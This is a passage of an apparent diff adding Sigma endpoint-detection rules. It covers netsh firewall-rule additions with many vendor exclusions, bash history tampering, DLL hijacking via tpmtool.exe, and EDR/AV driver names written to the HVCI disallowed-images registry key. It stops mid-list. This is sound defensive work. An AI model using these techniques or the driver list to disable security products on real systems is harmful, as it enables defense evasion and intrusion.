 exclusion_davincy:\n        # C:\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\ProgramData\\Blackmagic Design\\DaVinci Resolve\\Support\\setupfirewall.bat\" \"C:\\Program Files\\Blackmagic Design\\DaVinci Resolve\\\"\"\n        ParentCommandLine|contains: ':\\ProgramData\\Blackmagic Design\\DaVinci Resolve\\Support\\setupfirewall.bat'\n\n    exclusion_sara:\n        ParentImage: '*\\Microsoft.Sara.exe'\n        CommandLine|contains|all:\n            - 'MicrosoftSaraFiddler'\n            - 'Microsoft.Sara.exe'\n\n    exclusion_exchange:\n        CommandLine|contains|all:\n            - 'name=\"MSExchangeIS\"'\n            - 'program=\"?:\\Program Files\\Microsoft\\Exchange Server\\V1?\\bin\\'\n\n    exclusion_exchange_2:\n        # C:\\Windows\\system32\\netsh.exe advfirewall firewall add rule name=MSExchangeIS dir=in action=allow program=D:\\Exchange\\bin\\Microsoft.Exchange.Store.Service.exe localip=any remoteip=any profile=any Enable=yes\n        CommandLine|contains|all:\n            - 'name=MSExchangeIS'\n            - ' dir=in action=allow '\n            - 'bin\\Microsoft.Exchange.Store.Service.exe'\n\n    exclusion_ahnlab:\n        ParentImage: '?:\\Program Files\\AhnLab\\Safe Transaction\\StSess.exe'\n        GrandparentImage: '?:\\Program Files\\AhnLab\\Safe Transaction\\ASDSvc.exe'\n\n    exclusion_astrill:\n        # ?:\\windows\\system32\\netsh.exe advfirewall firewall add rule action=allow profile=any protocol=any enable=yes direction=in name=Astrill VPN Client program=C:\\Program Files (x86)\\Astrill\\astrill.exe\n        CommandLine|contains: 'name=Astrill VPN Client program=?:\\Program Files (x86)\\Astrill\\astrill.exe'\n\n    exclusion_logioption:\n        # netsh advfirewall firewall add rule name=\"LogiOptionsMgr.EXE\" dir=in action=allow program=\"C:\\ProgramData\\Logishrd\\LogiOptions\\Software\\Current\\LogiOptionsMgr.EXE\" description=\"LogiOptionsMgr.EXE\" enable=yes\n        # C:\\Windows\\system32\\netsh advfirewall firewall add rule name=LogiOptionsMgr.EXE dir=in action=allow program=C:\\ProgramData\\Logishrd\\LogiOptions\\Software\\Current\\LogiOptionsMgr.EXE description=LogiOptionsMgr.EXE enable=yes\n        CommandLine|contains: '?:\\ProgramData\\Logishrd\\LogiOptions\\Software\\Current\\LogiOptionsMgr.EXE'\n\n    exclusion_symantec:\n        # netsh advfirewall firewall add rule name=Symantec Endpoint Protection Manager Webserver protocol=any action=allow dir=in enable=yes edge=no profile=domain,private,public program=C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\apache\\bin\\httpd.exe\n        # netsh advfirewall firewall add rule name=Symantec Endpoint Protection Manager protocol=any action=allow dir=in enable=yes edge=no profile=domain,private,public program=C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\tomcat\\bin\\SemSvc.exe\n        # netsh advfirewall firewall add rule name=\"Symantec Endpoint Protection Manager\" protocol=any action=allow dir=in enable=yes edge=no profile=domain,private,public program=\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\tomcat\\bin\\SemSvc.exe\"\n        CommandLine|contains|all:\n            - 'Symantec Endpoint Protection Manager'\n            - '?:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager'\n\n    exclusion_intel:\n        ParentCommandLine: '?:\\Windows\\system32\\cmd.exe /C installer.bat X I > log_install.txt 2>&1'\n        GrandparentImage: '?:\\Program Files\\Intel\\SUR\\QUEENCREEK\\SurSvc.exe'\n\n    exclusion_centrastage1:\n        ParentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n        GrandparentImage: '?:\\Program Files (x86)\\CentraStage\\CagService.exe'\n\n    exclusion_centrastage2:\n        # C:\\ProgramData\\CentraStage\\AEMAgent\\RMM.WebRemote\\10.3.0.52\\RMM.WebRemote.exe\n        ParentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\RMM.WebRemote\\\\*\\RMM.WebRemote.exe'\n        GrandparentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n\n    exclusion_centrastage3:\n        # netsh advfirewall firewall add rule name=rmm.webremote 9.8.0.13 dir=in action=allow program=c:\\programdata\\centrastage\\aemagent\\rmm.webremote\\9.8.0.13\\rmm.webremote.exe enable=yes\n        # netsh advfirewall firewall add rule name=rmm.webremote 9.8.0.13 dir=out action=allow program=c:\\programdata\\centrastage\\aemagent\\rmm.webremote\\9.8.0.13\\rmm.webremote.exe enable=yes\n        # netsh advfirewall firewall add rule name=aemagent dir=in action=allow program=c:\\programdata\\centrastage\\aemagent\\aemagent.exe enable=yes\n        # netsh advfirewall firewall add rule name=aemagent dir=out action=allow program=c:\\programdata\\centrastage\\aemagent\\aemagent.exe enable=yes\n        # netsh advfirewall firewall add rule name=aria dir=in action=allow program=c:\\programdata\\centrastage\\aemagent\\aria2c.exe enable=yes\n        # netsh advfirewall firewall add rule name=aria dir=out action=allow program=c:\\programdata\\centrastage\\aemagent\\aria2c.exe enable=yes\n        CommandLine|contains: 'program=?:\\programdata\\centrastage\\aemagent\\'\n\n    exclusion_wechat:\n        # netsh advfirewall firewall add rule name=WeChat dir=in action=allow program=C:\\Program Files (x86)\\Tencent\\WeChat\\WeChatPlayer.exe enable=yes\n        # netsh advfirewall firewall add rule name=WeChat dir=in action=allow program=C:\\Program Files (x86)\\Tencent\\WeChat\\WeChatBrowser.exe enable=yes\n        # netsh advfirewall firewall add rule name=WeChat dir=in action=allow program=C:\\Program Files (x86)\\Tencent\\WeChat\\WeChat.exe enable=yes\n        CommandLine|contains|all:\n            - 'name=WeChat'\n            - '?:\\Program Files (x86)\\Tencent\\WeChat\\WeChat'\n\n    exclusion_panda:\n        # netsh.exe advfirewall firewall add rule name=panda endpoint agent dir=in program=c:\\program files (x86)\\panda security\\panda aether agent\\agentsvc.exe action=allow profile=any protocol=tcp\n        # netsh.exe advfirewall firewall add rule name=panda endpoint agent dir=in program=c:\\program files (x86)\\panda security\\panda aether agent\\agentsvc.exe action=allow profile=any protocol=udp\n        CommandLine|contains|all:\n            - 'panda endpoint agent '\n            - 'program=?:\\program files (x86)\\panda security\\panda aether agent\\agentsvc.exe'\n\n    exclusion_sharepoint:\n        ParentImage: '?:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\\\??\\BIN\\OWSTIMER.EXE'\n        CommandLine|contains:\n            - '?:\\windows\\system32\\netsh.exe advfirewall firewall add rule name=ilm web service - rms dir=in remoteip=localsubnet action=allow protocol=tcp localport=5725'\n            - '?:\\windows\\system32\\netsh.exe advfirewall firewall add rule name=ilm web service - sts dir=in remoteip=localsubnet action=allow protocol=tcp localport=5726'\n\n    exclusion_workflowmanagertools:\n        CommandLine|startswith: 'netsh advfirewall firewall add rule name=Workflow Manager Tools'\n        ParentCommandLine|contains: '?:\\Program Files (x86)\\Workflow Manager Tools\\'\n\n    exclusion_juliewebapp:\n        CommandLine|startswith:\n            - 'netsh advfirewall firewall add rule name=Julie* program=C:\\Program Files (x86)\\Julie Software\\'\n            - 'netsh advfirewall firewall add rule name=Julie* dir=in action=allow protocol=TCP localport='\n        ParentImage: '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_manageengine:\n        CommandLine: '?:\\Windows\\System32\\netsh.exe advfirewall firewall add rule name=ManageEngine *'\n        ParentCommandLine: '?:\\Windows\\system32\\cscript.exe firewallException.vbs ADD *'\n        Ancestors|contains: '\\ManageEngine_'\n\n    exclusion_manageengine2:\n        CommandLine: '?:\\Windows\\System32\\netsh.exe advfirewall firewall add rule name=*'\n        Ancestors|contains: '|?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe|?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentservice.exe|'\n\n    exclusion_labtech:\n        GrandparentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n\n    exclusion_schneider:\n        GrandparentImage: '?:\\Program Files (x86)\\Schneider Electric\\FloatingLicenseManager\\ReadOptFileWinServ.exe'\n\n    exclusion_siemens:\n        ProcessGrandparentImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'TSplus SAS'\n\n    exclusion_printx:\n        ParentCommandLine: '?:\\windows\\system32\\cmd.exe /c ?:\\program files\\printix.net\\printix client\\open_firewall.cmd'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48c6cf63-7480-4181-ad6b-865dbb4d413c",
+  "rule_name": "New Rule added to the Windows Firewall Policy via Netsh",
+  "rule_description": "Detects a new rule added to the Windows firewall's policy using Netsh.\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\nChanges could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.\nIt is recommended to investigate the added firewall rule, as well as the execution context and surrounding detections to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-05-06",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48dbdaf6-eeec-46f9-b3da-e1fa449854a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628346Z",
+  "creation_date": "2026-03-23T11:45:34.628348Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628352Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md",
+    "https://attack.mitre.org/techniques/T1070/003/"
+  ],
+  "name": "t1070_003_bash_history_modified_linux.yml",
+  "content": "title: Bash History File Modified\nid: 48dbdaf6-eeec-46f9-b3da-e1fa449854a5\ndescription: |\n    Detects a suspicious modification of the bash history files.\n    Attackers can modify the bash history files to hide their tracks by removing their command history.\n    It is recommended to check the parent process for suspicious activities.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md\n    - https://attack.mitre.org/techniques/T1070/003/\ndate: 2023/01/03\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path|endswith: '/.bash_history'\n        - TargetPath|endswith: '/.bash_history'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_misc:\n        Kind:\n            - 'remove'  # This is handled by the rule 4f8964a4-5740-479c-8358-30799f2df2d6\n            - 'rename'  # This is handled by the rule 4f8964a4-5740-479c-8358-30799f2df2d6\n            - 'chmod'\n            - 'chown'\n\n    exclusion_bash:\n        ProcessImage:\n            - '/bin/bash'\n            - '/usr/bin/bash'\n            - '/nix/store/*bash*/bin/bash'\n\n    exclusion_librenms:\n        ProcessGrandparentImage: '/usr/sbin/crond'\n        ProcessParentCommandLine: '/bin/bash -c /opt/librenms/fixrights.sh'\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n\n    exclusion_mkhomedir_helper:\n        ProcessImage:\n            - '/usr/bin/mkhomedir_helper'\n            - '/usr/sbin/mkhomedir_helper'\n\n    # Some servers can have a custom PROMPT_COMMAND to sync the different bash_history\n    exclusion_tee_append:\n        ProcessImage: '/usr/bin/tee'\n        ProcessCommandLine|startswith: 'tee -a '\n\n    exclusion_rsnapshot:\n        ProcessParentCommandLine: '/usr/bin/perl -w /usr/bin/rsnapshot daily'\n\n    exclusion_puppet:\n        ProcessImage|startswith: '/opt/puppetlabs/'\n\n    exclusion_rsync:\n        - ProcessImage: '/usr/bin/rsync'\n        - ProcessParentImage: '/usr/bin/rsync'\n\n    exclusion_rancher_kube:\n        ProcessImage: '/usr/local/bin/rke2'\n\n    exclusion_basebackup:\n        ProcessImage: '/bin/pg_basebackup'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48dbdaf6-eeec-46f9-b3da-e1fa449854a5",
+  "rule_name": "Bash History File Modified",
+  "rule_description": "Detects a suspicious modification of the bash history files.\nAttackers can modify the bash history files to hide their tracks by removing their command history.\nIt is recommended to check the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48f0f344-553f-4625-bdde-3c3f6e4f8e44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600997Z",
+  "creation_date": "2026-03-23T11:45:34.601001Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601008Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tpmtool.yml",
+  "content": "title: DLL Hijacking via tpmtool.exe\nid: 48f0f344-553f-4625-bdde-3c3f6e4f8e44\ndescription: |\n    Detects potential Windows DLL Hijacking via tpmtool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tpmtool.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\tbs.dll'\n            - '\\tpmcoreprovisioning.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48f0f344-553f-4625-bdde-3c3f6e4f8e44",
+  "rule_name": "DLL Hijacking via tpmtool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tpmtool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48fe9f11-44de-4b4b-807c-00bb14c3058b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071663Z",
+  "creation_date": "2026-03-23T11:45:34.071665Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071669Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://raw.githubusercontent.com/trailofbits/publications/offensivecon-2023/presentations/Your%20Mitigations%20are%20My%20Opportunities/Your%20Mitigations%20are%20My%20Opportunities.pdf",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_hvci_driver_disable.yml",
+  "content": "title: EDR/AV Driver added to HVCI Disallowed Images in Registry\nid: 48fe9f11-44de-4b4b-807c-00bb14c3058b\ndescription: |\n    Detects common AV or EDR driver names being written into the HVCIDisallowedImages registry key. This feature will only take effect on the next machine reboot.\n    HVCI (Hypervisor Enforced Code Integrity) is a Windows mechanism that contains an undocumented feature that allows to register an array of driver names to be blocked.\n    Attackers can use this feature to disable security products by blocking their respective drivers.\n    It is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\nreferences:\n    - https://raw.githubusercontent.com/trailofbits/publications/offensivecon-2023/presentations/Your%20Mitigations%20are%20My%20Opportunities/Your%20Mitigations%20are%20My%20Opportunities.pdf\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/06/13\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\CI\\HVCIDisallowedImages'\n        Details|contains:\n            # 360 Software (Beijing)\n            - '360qpesv.sys'\n            # 5nine Software Inc.\n            - '5nine.cbt.sys'\n            # Ahkun Co.\n            - 'AhkSvPro.sys'\n            - 'AhkUsbFW.sys'\n            - 'AhkAMFlt.sys'\n            # Ahnlab\n            - 'V3MifiNt.sys'\n            - 'V3Ift2k.sys'\n            - 'V3IftmNt.sys'\n            - 'ArfMonNt.sys'\n            - 'AhnRghLh.sys'\n            - 'AszFltNt.sys'\n            - 'OMFltLh.sys'\n            - 'V3Flu2k.sys'\n            - 'AdcVcsNT.sys'\n            # AhnLab Inc.\n            - 'TfFregNt.sys'\n            # AhnLab, Inc.\n            - 'SMDrvNt.sys'\n            - 'ATamptNt.sys'\n            - 'V3Flt2k.sys'\n            # Alwil\n            - 'aswmonflt.sys'\n            # Anvisoft\n            - 'avfsmn.sys'\n            # Arcdo\n            - 'ANVfsm.sys'\n            - 'CDrRSFlt.sys'\n            # Ashampoo GmbH & Co. KG\n            - 'AshAvScan.sys'\n            # Australian Projects\n            - 'ZxFsFilt.sys'\n            # Authentium\n            - 'avmf.sys'\n            # AVG Grisoft\n            - 'avgmfx86.sys'\n            - 'avgmfx64.sys'\n            - 'avgmfi64.sys'\n            - 'avgmfrs.sys'\n            # Avira GmbH\n            - 'avgntflt.sys'\n            # AVNOS\n            - 'kavnsi.sys'\n            # AvSoft Technologies\n            - 'strapvista.sys'\n            - 'strapvista64.sys'\n            # AxBx\n            - 'vk_fsf.sys'\n            # Baidu (beijing)\n            - 'BDFileDefend.sys'\n            # Baidu (Hong Kong) Limited\n            - 'Bfilter.sys'\n            # Baidu online network technology (beijing)Co.\n            - 'BDsdKit.sys'\n            - 'bd0003.sys'\n            # Beijing Kingsoft\n            - 'ksfsflt.sys'\n            # Beijing Majorsec\n            - 'majoradvapi.sys'\n            # Beijing Rising Information Technology Corporation Limited\n            - 'HookSys.sys'\n            # Beijing Venus\n            - 'TxFileFilter.sys'\n            - 'VTSysFlt.sys'\n            # Binary Defense Systems\n            - 'Osiris.sys'\n            # Bit9 Inc\n            - 'b9kernel.sys'\n            # Bitdefender\n            - 'bdsvm.sys'\n            # BitDefender SRL\n            - 'hbflt.sys'\n            - 'vlflt.sys'\n            - 'gzflt.sys'\n            - 'bddevflt.sys'\n            - 'ignis.sys'\n            - 'AVCKF.SYS'\n            - 'gemma.sys'\n            - 'Atc.sys'\n            - 'AVC3.SYS'\n            - 'TRUFOS.SYS'\n            # Bkav Corporation\n            - 'BkavAutoFlt.sys'\n            - 'BkavSdFlt.sys'\n            # BLACKFORT SECURITY\n            - 'bSyirmf.sys'\n            - 'bSysp.sys'\n            - 'bSydf.sys'\n            - 'bSywl.sys'\n            - 'bSyrtm.sys'\n            - 'bSyaed.sys'\n            - 'bSyar.sys'\n            # BullGuard\n            - 'BdFileSpy.sys'\n            # C-NetMedia Inc\n            - 'antispyfilter.sys'\n            # CheckMAL Inc\n            - 'AppCheckD.sys'\n            # Cheetah Mobile Inc.\n            - 'wdocsafe.sys'\n            - 'lbprotect.sys'\n            # Cisco Systems\n            - 'csaav.sys'\n            - 'CiscoSAM.sys'\n            - 'immunetselfprotect.sys'\n            - 'immunetprotect.sys'\n            - 'CiscoAMPCEFWDriver.sys'\n            - 'CiscoAMPHeurDriver.sys'\n            # CJSC Returnil Software\n            - 'rvsmon.sys'\n            # CodeProof Technologies Inc\n            - 'CpAvFilter.sys'\n            - 'CpAvKernel.sys'\n            # Comodo Group Inc.\n            - 'cmdccav.sys'\n            - 'cmdguard.sys'\n            # Computer Assoc\n            - 'caavFltr.sys'\n            - 'ino_fltr.sys'\n            # ConeSecurity Inc\n            - 'CSFlt.sys'\n            # Confluera Inc\n            - 'tbmninifilter.sys'\n            # Coranti Inc.\n            - 'crnsysm.sys'\n            - 'crncache32.sys'\n            - 'crncache64.sys'\n            # CoreTrace Corporation\n            - 'bouncer.sys'\n            # CrowdStrike Ltd.\n            - 'csagent.sys'\n            # Dakota State University\n            - 'EdnemFsFilter.sys'\n            # Deep Instinct\n            - 'DeepInsFS.sys'\n            # Digitalonnet\n            - 'ADSpiderDoc.sys'\n            # Doctor Web\n            - 'drwebfwft.sys'\n            - 'DwShield.sys'\n            - 'DwShield64.sys'\n            - 'dwprot.sys'\n            # Doctor Web Ltd.\n            - 'Spiderg3.sys'\n            # DriveSentry Inc\n            - 'drivesentryfilterdriver2lite.sys'\n            # EasyAntiCheat Solutions\n            - 'easyanticheat.sys'\n            # eEye Digital Security\n            - 'eeyehv.sys'\n            - 'eeyehv64.sys'\n            # Egnyte Inc\n            - 'egnfsflt.sys'\n            # EMC\n            - 'ECATDriver.sys'\n            # Emsi Software GmbH\n            - 'a2ertpx86.sys'\n            - 'a2ertpx64.sys'\n            - 'a2gffx86.sys'\n            - 'a2gffx64.sys'\n            - 'a2gffi64.sys'\n            - 'a2acc.sys'\n            - 'a2acc64.sys'\n            # EnigmaSoft\n            - 'EnigmaFileMonDriver.sys'\n            # ESET, spol. s r.o.\n            - 'eamonm.sys'\n            # ESTsecurity Corp\n            - 'RSRtw.sys'\n            - 'RSPCRtw.sys'\n            # ESTsoft\n            - 'AYFilter.sys'\n            - 'Rtw.sys'\n            # ESTsoft corp.\n            - 'EstRkmon.sys'\n            - 'EstRkr.sys'\n            # ETRI\n            - 'vrSDetri.sys'\n            - 'vrSDetrix.sys'\n            # Everyzone\n            - 'TvMFltr.sys'\n            # EveryZone Inc.\n            - 'IProtect.sys'\n            # EveryZone INC.\n            - 'TvFiltr.sys'\n            - 'TvDriver.sys'\n            - 'TvSPFltr.sys'\n            - 'TvPtFile.sys'\n            # f-protect\n            - 'fpav_rtp.sys'\n            # f-secure\n            - 'fsgk.sys'\n            # Filseclab\n            - 'fildds.sys'\n            # Fortinet Inc.\n            - 'FortiAptFilter.sys'\n            - 'fortimon2.sys'\n            - 'fortirmon.sys'\n            - 'fortishield.sys'\n            # Fujitsu Social Science\n            - 'wscm.sys'\n            # FXSEC LTD\n            - 'pfkrnl.sys'\n            # G Data\n            - 'HookCentre.sys'\n            - 'PktIcpt.sys'\n            - 'MiniIcpt.sys'\n            # GAS Tecnologia\n            - 'GbpKm.sys'\n            # Greatsoft Corp.Ltd\n            - 'vcdriv.sys'\n            - 'vcreg.sys'\n            - 'vchle.sys'\n            # GRGBanking Equipment\n            - 'SECOne_USB.sys'\n            - 'SECOne_Proc10.sys'\n            - 'SECOne_REG10.sys'\n            - 'SECOne_FileMon10.sys'\n            # GridinSoft LLC\n            - 'gtkdrv.sys'\n            # HAURI\n            - 'VrARnFlt.sys'\n            - 'VrBBDFlt.sys'\n            - 'vrSDfmx.sys'\n            - 'vrSDam.sys'\n            - 'VrAptDef.sys'\n            - 'VrSdCore.sys'\n            - 'VrFsFtM.sys'\n            - 'VrFsFtMX.sys(AMD64)'\n            - 'vradfil2.sys'\n            # HAURI Inc.\n            - 'VRAPTFLT.sys'\n            # Hidden Reflex\n            - 'epicFilter.sys'\n            # Hitachi Solutions\n            - 'hsmltwhl.sys'\n            - 'hssfwhl.sys'\n            # HSM IT-Services Gmbh\n            - 'oavfm.sys'\n            # Huorong Security\n            - 'sysdiag.sys'\n            # IBM\n            - 'issregistry.sys'\n            # IKARUS Security\n            - 'ntguard.sys'\n            # Imperva Inc.\n            - 'mfdriver.sys'\n            # INCA Internet Co.\n            - 'npxgd.sys'\n            - 'npxgd64.sys'\n            - 'tkpl2k.sys'\n            - 'tkpl2k64.sys'\n            - 'GKFF.sys'\n            - 'GKFF64.sys'\n            - 'tkdac2k.sys'\n            - 'tkdacxp.sys'\n            - 'tkdacxp64.sys'\n            - 'tksp2k.sys'\n            - 'tkspxp.sys'\n            - 'tkspxp64.sys'\n            # INCA Internet Co., Ltd\n            - 'tkfsft.sys'\n            - 'tkfsft64.sys'\n            - 'tkfsavxp.sys'\n            - 'tkfsavxp64.sys'\n            # Individual developer (Soft3304)\n            - 'AntiLeakFilter.sys'\n            # IObit Information Tech\n            - 'IMFFilter.sys'\n            # ISS\n            - 'issfltr.sys'\n            # K7 Computing Private Ltd.\n            - 'K7Sentry.sys'\n            # Kaspersky\n            - 'klbg.sys'\n            - 'kldback.sys'\n            - 'kldlinf.sys'\n            - 'kldtool.sys'\n            - 'klif.sys'\n            # Kaspersky Lab\n            - 'klam.sys'\n            # KINGSOFT\n            - 'dgsafe.sys'\n            # knowwheresoft Ltd\n            - 'securoFSD_x64.sys'\n            # Komoku Inc.\n            - 'kmkuflt.sys'\n            # Lavasoft AB\n            - 'lbd.sys'\n            # Leith Bade\n            - 'cwdriver.sys'\n            # Lenovo\n            - 'lnvscenter.sys'\n            # Lightspeed Systems Inc.\n            - 'SAFsFilter.sys'\n            # 